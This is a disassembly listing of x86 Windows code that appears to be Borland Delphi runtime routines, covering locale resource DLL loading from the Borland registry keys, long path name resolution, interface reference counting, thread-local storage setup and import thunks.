sub_40005B98 proc near ; CODE XREF: sub_40013308+Cp
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
add esp, 0FFFFFFE4h
push 1Ch
lea edx, [esp+20h+var_1C]
push edx
push eax
call sub_40001258 ; VirtualQuery
cmp [esp+1Ch+var_C], 1000h
jnz short loc_40005BB8
mov eax, [esp+1Ch+var_18]
jmp short loc_40005BBA
; ---------------------------------------------------------------------------
loc_40005BB8: ; CODE XREF: sub_40005B98+18j
xor eax, eax
loc_40005BBA: ; CODE XREF: sub_40005B98+1Ej
add esp, 1Ch
retn
sub_40005B98 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40005BC0 proc near ; CODE XREF: sub_40005C08+20p
var_110 = byte ptr -110h
push ebx
push esi
add esp, 0FFFFFEF8h
mov ebx, eax
cmp dword ptr [ebx+10h], 0
jnz short loc_40005BFB
push 105h
lea eax, [esp+114h+var_110]
push eax
mov eax, [ebx+4]
push eax
call sub_400011E8 ; GetModuleFileNameA
mov eax, esp
mov dl, 1
call sub_40005E24
mov esi, eax
mov [ebx+10h], esi
test esi, esi
jnz short loc_40005BFB
mov eax, [ebx+4]
mov [ebx+10h], eax
loc_40005BFB: ; CODE XREF: sub_40005BC0+Ej
; sub_40005BC0+33j
mov eax, [ebx+10h]
add esp, 108h
pop esi
pop ebx
retn
sub_40005BC0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40005C08 proc near ; CODE XREF: sub_400062F0+2Cp
; sub_4000ADE0+ECp ...
push ebx
push esi
push edi
mov esi, eax
mov ebx, off_4001A038
test ebx, ebx
jz short loc_40005C37
loc_40005C17: ; CODE XREF: sub_40005C08+2Dj
cmp esi, [ebx+4]
jz short loc_40005C26
cmp esi, [ebx+8]
jz short loc_40005C26
cmp esi, [ebx+0Ch]
jnz short loc_40005C31
loc_40005C26: ; CODE XREF: sub_40005C08+12j
; sub_40005C08+17j
mov eax, ebx
call sub_40005BC0
mov edi, eax
jmp short loc_40005C39
; ---------------------------------------------------------------------------
loc_40005C31: ; CODE XREF: sub_40005C08+1Cj
mov ebx, [ebx]
test ebx, ebx
jnz short loc_40005C17
loc_40005C37: ; CODE XREF: sub_40005C08+Dj
mov edi, esi
loc_40005C39: ; CODE XREF: sub_40005C08+27j
mov eax, edi
pop edi
pop esi
pop ebx
retn
sub_40005C08 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40005C40 proc near ; CODE XREF: sub_40005C60+89p
; sub_40005C60+9Cp ...
push ebx
push esi
mov esi, eax
jmp short loc_40005C4E
; ---------------------------------------------------------------------------
loc_40005C46: ; CODE XREF: sub_40005C40+18j
push esi
call sub_400011A0 ; CharNextA
mov esi, eax
loc_40005C4E: ; CODE XREF: sub_40005C40+4j
movzx ebx, byte ptr [esi]
test bl, bl
jz short loc_40005C5A
cmp bl, 5Ch
jnz short loc_40005C46
loc_40005C5A: ; CODE XREF: sub_40005C40+13j
mov eax, esi
pop esi
pop ebx
retn
sub_40005C40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40005C60 proc near ; CODE XREF: sub_40005E24+A3p
var_253 = byte ptr -253h
var_14E = byte ptr -14Eh
var_122 = byte ptr -122h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFDACh
push ebx
push esi
push edi
mov [ebp+var_8], edx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov [ebp+var_C], eax
push offset dword_40005E00
call sub_400011F0 ; GetModuleHandleA
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jz short loc_40005CCE
push offset aGetlongpathnam ; "GetLongPathNameA"
mov eax, [ebp+var_10]
push eax
call sub_400011F8 ; GetProcAddress
mov ebx, eax
test ebx, ebx
jz short loc_40005CCE
push 105h
lea eax, [ebp+var_253]
push eax
mov eax, [ebp+var_4]
push eax
call ebx
test eax, eax
jz short loc_40005CCE
mov eax, [ebp+var_8]
push eax
lea eax, [ebp+var_253]
push eax
mov eax, [ebp+var_4]
push eax
call sub_40001220 ; lstrcpynA
jmp loc_40005DF6
; ---------------------------------------------------------------------------
loc_40005CCE: ; CODE XREF: sub_40005C60+29j
; sub_40005C60+3Dj ...
mov eax, [ebp+var_4]
cmp byte ptr [eax], 5Ch
jnz short loc_40005D0E
mov eax, [ebp+var_4]
cmp byte ptr [eax+1], 5Ch
jnz loc_40005DF6
mov eax, [ebp+var_4]
add eax, 2
call sub_40005C40
mov esi, eax
cmp byte ptr [esi], 0
jz loc_40005DF6
lea eax, [esi+1]
call sub_40005C40
mov esi, eax
cmp byte ptr [esi], 0
jz loc_40005DF6
jmp short loc_40005D14
; ---------------------------------------------------------------------------
loc_40005D0E: ; CODE XREF: sub_40005C60+74j
mov esi, [ebp+var_4]
add esi, 2
loc_40005D14: ; CODE XREF: sub_40005C60+ACj
mov ebx, esi
sub ebx, [ebp+var_4]
lea eax, [ebx+1]
push eax
mov eax, [ebp+var_4]
push eax
lea eax, [ebp+var_253]
push eax
call sub_40001220 ; lstrcpynA
jmp loc_40005DD9
; ---------------------------------------------------------------------------
loc_40005D32: ; CODE XREF: sub_40005C60+17Cj
lea eax, [esi+1]
call sub_40005C40
mov edi, eax
mov eax, edi
sub eax, esi
add eax, ebx
inc eax
cmp eax, 105h
jg loc_40005DF6
mov eax, edi
sub eax, esi
inc eax
push eax
push esi
lea eax, [ebp+var_253]
add eax, ebx
push eax
call sub_40001220 ; lstrcpynA
lea eax, [ebp+var_14E]
push eax
lea eax, [ebp+var_253]
push eax
call sub_400011C0 ; FindFirstFileA
mov [ebp+var_10], eax
cmp [ebp+var_10], 0FFFFFFFFh
jz short loc_40005DF6
mov eax, [ebp+var_10]
push eax
call sub_400011B8 ; FindClose
lea eax, [ebp+var_122]
push eax
call sub_40001228 ; lstrlenA
lea edx, [ebx+1]
add eax, edx
inc eax
cmp eax, 105h
jg short loc_40005DF6
mov [ebp+ebx+var_253], 5Ch
mov eax, 105h
sub eax, ebx
dec eax
push eax
lea eax, [ebp+var_122]
push eax
lea eax, [ebp+var_253]
add eax, ebx
inc eax
push eax
call sub_40001220 ; lstrcpynA
lea eax, [ebp+var_122]
push eax
call sub_40001228 ; lstrlenA
inc eax
add ebx, eax
mov esi, edi
loc_40005DD9: ; CODE XREF: sub_40005C60+CDj
cmp byte ptr [esi], 0
jnz loc_40005D32
mov eax, [ebp+var_8]
push eax
lea eax, [ebp+var_253]
push eax
mov eax, [ebp+var_4]
push eax
call sub_40001220 ; lstrcpynA
loc_40005DF6: ; CODE XREF: sub_40005C60+69j
; sub_40005C60+7Dj ...
mov eax, [ebp+var_C]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40005C60 endp
; ---------------------------------------------------------------------------
dword_40005E00 dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0aGetlongpathnam db 'GetLongPathNameA',0 ; DATA XREF: sub_40005C60+2Bo
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40005E24 proc near ; CODE XREF: sub_40005BC0+27p
var_11D = byte ptr -11Dh
var_18 = dword ptr -18h
var_12 = byte ptr -12h
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_B = byte ptr -0Bh
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFEE0h
push ebx
push esi
mov [ebp+var_4], eax
push 105h
lea eax, [ebp+var_11D]
push eax
push 0
call sub_400011E8 ; GetModuleFileNameA
mov [ebp+var_12], 0
lea eax, [ebp+var_8]
push eax
push 0F0019h
push 0
push offset aSoftwareBorl_0 ; "Software\\Borland\\Locales"
push 80000001h
call sub_40001240 ; RegOpenKeyExA
test eax, eax
jz short loc_40005EA7
lea eax, [ebp+var_8]
push eax
push 0F0019h
push 0
push offset aSoftwareBorl_0 ; "Software\\Borland\\Locales"
push 80000002h
call sub_40001240 ; RegOpenKeyExA
test eax, eax
jz short loc_40005EA7
lea eax, [ebp+var_8]
push eax
push 0F0019h
push 0
push offset aSoftwareBorl_1 ; "Software\\Borland\\Delphi\\Locales"
push 80000001h
call sub_40001240 ; RegOpenKeyExA
test eax, eax
jnz loc_40005F30
loc_40005EA7: ; CODE XREF: sub_40005E24+41j
; sub_40005E24+5Fj
xor eax, eax
push ebp
push offset loc_40005F29
push dword ptr fs:[eax]
mov fs:[eax], esp
mov [ebp+var_18], 5
lea eax, [ebp+var_11D]
mov edx, 105h
call sub_40005C60
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_12]
push eax
push 0
push 0
lea eax, [ebp+var_11D]
push eax
mov eax, [ebp+var_8]
push eax
call sub_40001248 ; RegQueryValueExA
test eax, eax
jz short loc_40005F0E
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_12]
push eax
push 0
push 0
push offset dword_40006090
mov eax, [ebp+var_8]
push eax
call sub_40001248 ; RegQueryValueExA
test eax, eax
jz short loc_40005F0E
mov [ebp+var_12], 0
loc_40005F0E: ; CODE XREF: sub_40005E24+C6j
; sub_40005E24+E4j
mov [ebp+var_E], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40005F30
loc_40005F1F: ; CODE XREF: sub_40005E24+10Aj
mov eax, [ebp+var_8]
push eax
call sub_40001238 ; RegCloseKey
retn
; ---------------------------------------------------------------------------
loc_40005F29: ; DATA XREF: sub_40005E24+86o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40005F1F
; ---------------------------------------------------------------------------
loc_40005F30: ; CODE XREF: sub_40005E24+7Dj
; DATA XREF: sub_40005E24+F6o
push 105h
mov eax, [ebp+var_4]
push eax
lea eax, [ebp+var_11D]
push eax
call sub_40001220 ; lstrcpynA
push 5
lea eax, [ebp+var_D]
push eax
push 3
call sub_40001208 ; GetThreadLocale
push eax
call sub_400011E0 ; GetLocaleInfoA
xor esi, esi
cmp [ebp+var_11D], 0
jz loc_4000604A
cmp [ebp+var_D], 0
jnz short loc_40005F77
cmp [ebp+var_12], 0
jz loc_4000604A
loc_40005F77: ; CODE XREF: sub_40005E24+147j
lea eax, [ebp+var_11D]
push eax
call sub_40001228 ; lstrlenA
mov ebx, eax
lea eax, [ebp+var_11D]
add ebx, eax
jmp short loc_40005F90
; ---------------------------------------------------------------------------
loc_40005F8F: ; CODE XREF: sub_40005E24+179j
dec ebx
loc_40005F90: ; CODE XREF: sub_40005E24+169j
cmp byte ptr [ebx], 2Eh
jz short loc_40005F9F
lea eax, [ebp+var_11D]
cmp ebx, eax
jnz short loc_40005F8F
loc_40005F9F: ; CODE XREF: sub_40005E24+16Fj
lea eax, [ebp+var_11D]
cmp ebx, eax
jz loc_4000604A
inc ebx
cmp [ebp+var_12], 0
jz short loc_40005FDC
mov edx, ebx
sub edx, eax
mov eax, 105h
sub eax, edx
push eax
lea eax, [ebp+var_12]
push eax
push ebx
call sub_40001220 ; lstrcpynA
push 2
push 0
lea eax, [ebp+var_11D]
push eax
call sub_40001210 ; LoadLibraryExA
mov esi, eax
loc_40005FDC: ; CODE XREF: sub_40005E24+18Ej
test esi, esi
jnz short loc_4000604A
cmp [ebp+var_D], 0
jz short loc_4000604A
lea eax, [ebp+var_11D]
mov edx, ebx
sub edx, eax
mov eax, 105h
sub eax, edx
push eax
lea eax, [ebp+var_D]
push eax
push ebx
call sub_40001220 ; lstrcpynA
push 2
push 0
lea eax, [ebp+var_11D]
push eax
call sub_40001210 ; LoadLibraryExA
mov esi, eax
test esi, esi
jnz short loc_4000604A
mov [ebp+var_B], 0
lea eax, [ebp+var_11D]
mov edx, ebx
sub edx, eax
mov eax, 105h
sub eax, edx
push eax
lea eax, [ebp+var_D]
push eax
push ebx
call sub_40001220 ; lstrcpynA
push 2
push 0
lea eax, [ebp+var_11D]
push eax
call sub_40001210 ; LoadLibraryExA
mov esi, eax
loc_4000604A: ; CODE XREF: sub_40005E24+13Dj
; sub_40005E24+14Dj ...
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40005E24 endp
; ---------------------------------------------------------------------------
align 4
aSoftwareBorl_0 db 'Software\Borland\Locales',0 ; DATA XREF: sub_40005E24+30o
; sub_40005E24+4Eo
align 10h
aSoftwareBorl_1 db 'Software\Borland\Delphi\Locales',0 ; DATA XREF: sub_40005E24+6Co
dword_40006090 dd 0
; =============== S U B R O U T I N E =======================================
sub_40006094 proc near ; CODE XREF: sub_400191F8+24p
call sub_400060A4
retn
sub_40006094 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000609C proc near ; CODE XREF: sub_40013ED4+6Ep
call sub_400060C4
retn
sub_4000609C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400060A4 proc near ; CODE XREF: sub_40006094p
; sub_400190AC+50p
push ebx
mov ebx, eax
mov eax, 8
call sub_40002C20
mov edx, dword_4001A03C
mov [eax], edx
mov [eax+4], ebx
mov dword_4001A03C, eax
pop ebx
retn
sub_400060A4 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400060C4 proc near ; CODE XREF: sub_4000609Cp
; sub_4000CC50+2Cp
push ebx
push esi
push edi
push ebp
mov ebp, eax
mov edi, dword_4001A03C
test edi, edi
jz short loc_400060F5
mov eax, [edi+4]
cmp eax, ebp
jnz short loc_400060F5
mov eax, dword_4001A03C
mov eax, [eax]
mov dword_4001A03C, eax
mov edx, 8
mov eax, edi
call sub_40002C3C
jmp short loc_40006122
; ---------------------------------------------------------------------------
loc_400060F5: ; CODE XREF: sub_400060C4+Ej
; sub_400060C4+15j
mov ebx, edi
test ebx, ebx
jz short loc_40006122
loc_400060FB: ; CODE XREF: sub_400060C4+5Cj
mov esi, [ebx]
test esi, esi
jz short loc_4000611C
mov eax, [esi+4]
cmp eax, ebp
jnz short loc_4000611C
mov edi, esi
mov eax, [esi]
mov [ebx], eax
mov edx, 8
mov eax, edi
call sub_40002C3C
jmp short loc_40006122
; ---------------------------------------------------------------------------
loc_4000611C: ; CODE XREF: sub_400060C4+3Bj
; sub_400060C4+42j
mov ebx, [ebx]
test ebx, ebx
jnz short loc_400060FB
loc_40006122: ; CODE XREF: sub_400060C4+2Fj
; sub_400060C4+35j ...
pop ebp
pop edi
pop esi
pop ebx
retn
sub_400060C4 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40006128 proc near ; CODE XREF: sub_40006194+1Bp
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFF8h
push ebx
push esi
push edi
mov [ebp+var_4], eax
mov eax, dword_4001A03C
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_4000617B
loc_40006142: ; CODE XREF: sub_40006128+51j
xor eax, eax
push ebp
push offset loc_40006163
push dword ptr fs:[eax]
mov fs:[eax], esp
mov ebx, [ebp+var_8]
mov eax, [ebp+var_4]
call dword ptr [ebx+4]
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
jmp short loc_4000616D
; ---------------------------------------------------------------------------
loc_40006163: ; DATA XREF: sub_40006128+1Do
jmp sub_400040D8
; ---------------------------------------------------------------------------
call sub_40004360
loc_4000616D: ; CODE XREF: sub_40006128+39j
mov eax, [ebp+var_8]
mov eax, [eax]
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_40006142
loc_4000617B: ; CODE XREF: sub_40006128+18j
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
retn
sub_40006128 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40006184 proc near ; CODE XREF: sub_40006468+5p
mov edx, off_4001A038
mov [eax], edx
mov off_4001A038, eax
retn
sub_40006184 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40006194 proc near ; CODE XREF: sub_40004790+73p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], eax
xor edx, edx
push ebp
push offset loc_400061F8
push dword ptr fs:[edx]
mov fs:[edx], esp
mov eax, [ebp+var_4]
mov eax, [eax+4]
call sub_40006128
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_400061FF
loc_400061C1: ; CODE XREF: sub_40006194+69j
mov eax, [ebp+var_4]
cmp eax, off_4001A038
jnz short loc_400061D8
mov eax, [ebp+var_4]
mov eax, [eax]
mov off_4001A038, eax
jmp short loc_400061F7
; ---------------------------------------------------------------------------
loc_400061D8: ; CODE XREF: sub_40006194+36j
mov eax, off_4001A038
test eax, eax
jz short loc_400061F7
loc_400061E1: ; CODE XREF: sub_40006194+61j
mov edx, [eax]
cmp edx, [ebp+var_4]
jnz short loc_400061F1
mov edx, [ebp+var_4]
mov edx, [edx]
mov [eax], edx
jmp short loc_400061F7
; ---------------------------------------------------------------------------
loc_400061F1: ; CODE XREF: sub_40006194+52j
mov eax, [eax]
test eax, eax
jnz short loc_400061E1
loc_400061F7: ; CODE XREF: sub_40006194+42j
; sub_40006194+4Bj ...
retn
; ---------------------------------------------------------------------------
loc_400061F8: ; DATA XREF: sub_40006194+Ao
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_400061C1
; ---------------------------------------------------------------------------
loc_400061FF: ; CODE XREF: sub_40006194:loc_400061F7j
; DATA XREF: sub_40006194+28o
pop ecx
pop ebp
retn
sub_40006194 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40006204 proc near ; CODE XREF: sub_40003D9C+7Ep
; sub_40005314+BFp ...
mov edx, [eax]
test edx, edx
jz short locret_40006218
mov dword ptr [eax], 0
push eax
push edx
mov eax, [edx]
call dword ptr [eax+8]
pop eax
locret_40006218: ; CODE XREF: sub_40006204+4j
retn
sub_40006204 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000621C proc near ; CODE XREF: sub_40003D6C+27j
; sub_40003D9C+63p ...
test edx, edx
jz short loc_40006239
push edx
push eax
mov eax, [edx]
push edx
call dword ptr [eax+4]
pop eax
mov ecx, [eax]
pop dword ptr [eax]
test ecx, ecx
jnz short loc_40006232
retn
; ---------------------------------------------------------------------------
loc_40006232: ; CODE XREF: sub_4000621C+13j
mov eax, [ecx]
push ecx
call dword ptr [eax+8]
retn
; ---------------------------------------------------------------------------
loc_40006239: ; CODE XREF: sub_4000621C+2j
mov ecx, [eax]
test ecx, ecx
mov [eax], edx
jz short locret_40006247
mov eax, [ecx]
push ecx
call dword ptr [eax+8]
locret_40006247: ; CODE XREF: sub_4000621C+23j
retn
sub_4000621C endp
; =============== S U B R O U T I N E =======================================
sub_40006248 proc near ; DATA XREF: .text:40001110o
; .text:40007938o
add eax, 4
push eax
call sub_40001280 ; InterlockedDecrement
retn
sub_40006248 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40006254 proc near ; DATA XREF: .text:40001114o
; .text:4000793Co
cmp dword ptr [eax+4], 0
jz short locret_40006261
mov al, 2
call sub_40002D50
; ---------------------------------------------------------------------------
locret_40006261: ; CODE XREF: sub_40006254+4j
retn
sub_40006254 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40006264 proc near ; DATA XREF: .text:40001120o
; .text:40007948o
call sub_40003C80
mov dword ptr [eax+4], 1
retn
sub_40006264 endp
; ---------------------------------------------------------------------------
align 4
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+8]
mov ecx, [ebp+10h]
mov edx, [ebp+0Ch]
mov eax, ebx
call sub_40003D9C
test al, al
jz short loc_40006290
xor eax, eax
jmp short loc_40006295
; ---------------------------------------------------------------------------
loc_40006290: ; CODE XREF: .text:4000628Aj
mov eax, 80004002h
loc_40006295: ; CODE XREF: .text:4000628Ej
pop ebx
pop ebp
retn 0Ch
; ---------------------------------------------------------------------------
align 4
push ebp
mov ebp, esp
mov eax, [ebp+8]
add eax, 4
push eax
call sub_40001278 ; InterlockedIncrement
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ebx
push esi
mov ebx, [ebp+8]
lea eax, [ebx+4]
push eax
call sub_40001280 ; InterlockedDecrement
mov esi, eax
test esi, esi
jnz short loc_400062D0
mov dl, 1
mov eax, ebx
mov ecx, [eax]
call dword ptr [ecx-4]
loc_400062D0: ; CODE XREF: .text:400062C5j
mov eax, esi
pop esi
pop ebx
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_400062D8 proc near ; CODE XREF: sub_40017A1C+31Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
test eax, eax
jnz short loc_400062E6
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_400062E6: ; CODE XREF: sub_400062D8+8j
call off_4001A728
pop ebp
retn
sub_400062D8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_400062F0 proc near ; CODE XREF: sub_40004624+16p
; sub_4000A8E0+2Ep ...
var_1008 = byte ptr -1008h
push ebx
push esi
add esp, 0FFFFF004h
push eax
mov esi, edx
mov ebx, eax
test ebx, ebx
jz short loc_4000633E
cmp dword ptr [ebx+4], 10000h
jge short loc_40006334
push 1000h
lea eax, [esp+100Ch+var_1008]
push eax
mov eax, [ebx+4]
push eax
mov eax, [ebx]
mov eax, [eax]
call sub_40005C08
push eax
call sub_40001218 ; LoadStringA
mov ecx, eax
mov edx, esp
mov eax, esi
call sub_40004974
jmp short loc_4000633E
; ---------------------------------------------------------------------------
loc_40006334: ; CODE XREF: sub_400062F0+18j
mov eax, esi
mov edx, [ebx+4]
call sub_40004A7C
loc_4000633E: ; CODE XREF: sub_400062F0+Fj
; sub_400062F0+42j
add esp, 1000h
pop esi
pop ebx
retn
sub_400062F0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006348 proc near ; CODE XREF: .itext:40019080p
jmp ds:dword_40024414
sub_40006348 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40006350 proc near ; DATA XREF: .text:40018320o
push ebp
mov ebp, esp
xor eax, eax
push ebp
push offset loc_400063A4
push dword ptr fs:[eax]
mov fs:[eax], esp
inc ds:dword_4001C5B8
jnz short loc_40006396
mov eax, offset dword_4001C050
call sub_4000349C
mov eax, offset dword_4001C21C
call sub_4000349C
mov eax, offset dword_4001C3E8
call sub_4000349C
call sub_40002BB4
mov eax, offset off_4001A040
call sub_40004884
loc_40006396: ; CODE XREF: sub_40006350+17j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_400063AB
loc_400063A3: ; CODE XREF: sub_40006350+59j
retn
; ---------------------------------------------------------------------------
loc_400063A4: ; DATA XREF: sub_40006350+6o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_400063A3
; ---------------------------------------------------------------------------
loc_400063AB: ; CODE XREF: sub_40006350:loc_400063A3j
; DATA XREF: sub_40006350+4Eo
pop ebp
retn
sub_40006350 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400063B0 proc near ; CODE XREF: sub_40006474+Cp
jmp ds:dword_400244C0
sub_400063B0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400063B8 proc near ; CODE XREF: sub_400063D0+3p
jmp ds:dword_400244BC
sub_400063B8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400063C0 proc near ; CODE XREF: sub_40006428+25p
; sub_40006428+36p
jmp ds:dword_400244B8
sub_400063C0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400063C8 proc near ; CODE XREF: sub_400063E4+3Dp
jmp ds:dword_400244B4
sub_400063C8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_400063D0 proc near ; CODE XREF: sub_400063E4+21p
push eax
push 40h
call sub_400063B8 ; LocalAlloc
retn
sub_400063D0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400063DC proc near ; CODE XREF: sub_400063E4+1p
mov eax, 0Ch
retn
sub_400063DC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400063E4 proc near ; CODE XREF: sub_40006428:loc_40006442p
push ebx
call sub_400063DC
mov ebx, eax
test ebx, ebx
jz short loc_40006426
cmp TlsIndex, 0FFFFFFFFh
jnz short loc_40006403
mov eax, 0E2h
call sub_40004878
; ---------------------------------------------------------------------------
loc_40006403: ; CODE XREF: sub_400063E4+13j
mov eax, ebx
call sub_400063D0
test eax, eax
jnz short loc_4000641A
mov eax, 0E2h
call sub_40004878
; ---------------------------------------------------------------------------
jmp short loc_40006426
; ---------------------------------------------------------------------------
loc_4000641A: ; CODE XREF: sub_400063E4+28j
push eax
mov eax, TlsIndex
push eax
call sub_400063C8 ; TlsSetValue
loc_40006426: ; CODE XREF: sub_400063E4+Aj
; sub_400063E4+34j
pop ebx
retn
sub_400063E4 endp
; =============== S U B R O U T I N E =======================================
sub_40006428 proc near ; CODE XREF: sub_40002CA4p
; sub_40002CA4+Ep ...
mov cl, ds:byte_4001E7F4
mov eax, TlsIndex
test cl, cl
jnz short loc_4000645D
mov edx, large fs:2Ch
mov eax, [edx+eax*4]
retn
; ---------------------------------------------------------------------------
loc_40006442: ; CODE XREF: sub_40006428+3Dj
call sub_400063E4
mov eax, TlsIndex
push eax
call sub_400063C0 ; TlsGetValue
test eax, eax
jz short loc_40006457
retn
; ---------------------------------------------------------------------------
loc_40006457: ; CODE XREF: sub_40006428+2Cj
mov eax, ds:dword_4001E7FC
retn
; ---------------------------------------------------------------------------
loc_4000645D: ; CODE XREF: sub_40006428+Dj
push eax
call sub_400063C0 ; TlsGetValue
test eax, eax
jz short loc_40006442
retn
sub_40006428 endp
; =============== S U B R O U T I N E =======================================
sub_40006468 proc near ; CODE XREF: sub_40006474+2Ep
mov eax, offset dword_4001A7B4
call sub_40006184
retn
sub_40006468 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40006474 proc near ; CODE XREF: .itext:40019408p
push ebx
mov ebx, eax
xor eax, eax
mov TlsIndex, eax
push 0
call sub_400063B0 ; GetModuleHandleA
mov ds:dword_4001E7F8, eax
mov eax, ds:dword_4001E7F8
mov dword_4001A7B8, eax
xor eax, eax
mov dword_4001A7BC, eax
xor eax, eax
mov dword_4001A7C0, eax
call sub_40006468
mov edx, offset dword_4001A7B4
mov eax, ebx
call sub_400045E4
pop ebx
retn
sub_40006474 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400064B8 proc near ; CODE XREF: sub_40017944+35p
jmp ds:dword_4002461C
sub_400064B8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400064C0 proc near ; CODE XREF: sub_400141BC+1Ap
; sub_400141EC+14p
jmp ds:dword_40024618
sub_400064C0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400064C8 proc near ; CODE XREF: sub_40014250+AEp
jmp ds:dword_40024614
sub_400064C8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400064D0 proc near ; CODE XREF: sub_400141BC+11p
jmp ds:dword_40024610
sub_400064D0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400064D8 proc near ; CODE XREF: sub_40014250+7Ap
; sub_40014374+6Cp ...
jmp ds:dword_4002460C
sub_400064D8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400064E0 proc near ; CODE XREF: sub_4001452C+32p
; sub_400146B4+2Bp
jmp ds:dword_40024608
sub_400064E0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400064E8 proc near ; CODE XREF: sub_4001464C+32p
jmp ds:dword_40024604
sub_400064E8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400064F0 proc near ; CODE XREF: sub_4000C710+22p
; sub_4000C710+2Bp ...
jmp ds:dword_400245FC
sub_400064F0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400064F8 proc near ; CODE XREF: sub_40007BB4+37p
; sub_40007EBC+58p ...
jmp ds:dword_400245F8
sub_400064F8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006500 proc near ; CODE XREF: .itext:40019475p
jmp ds:dword_400245F4
sub_40006500 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006508 proc near ; CODE XREF: sub_4000C69C+2Ap
; sub_4000C69C+3Ap ...
jmp ds:dword_400245F0
sub_40006508 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
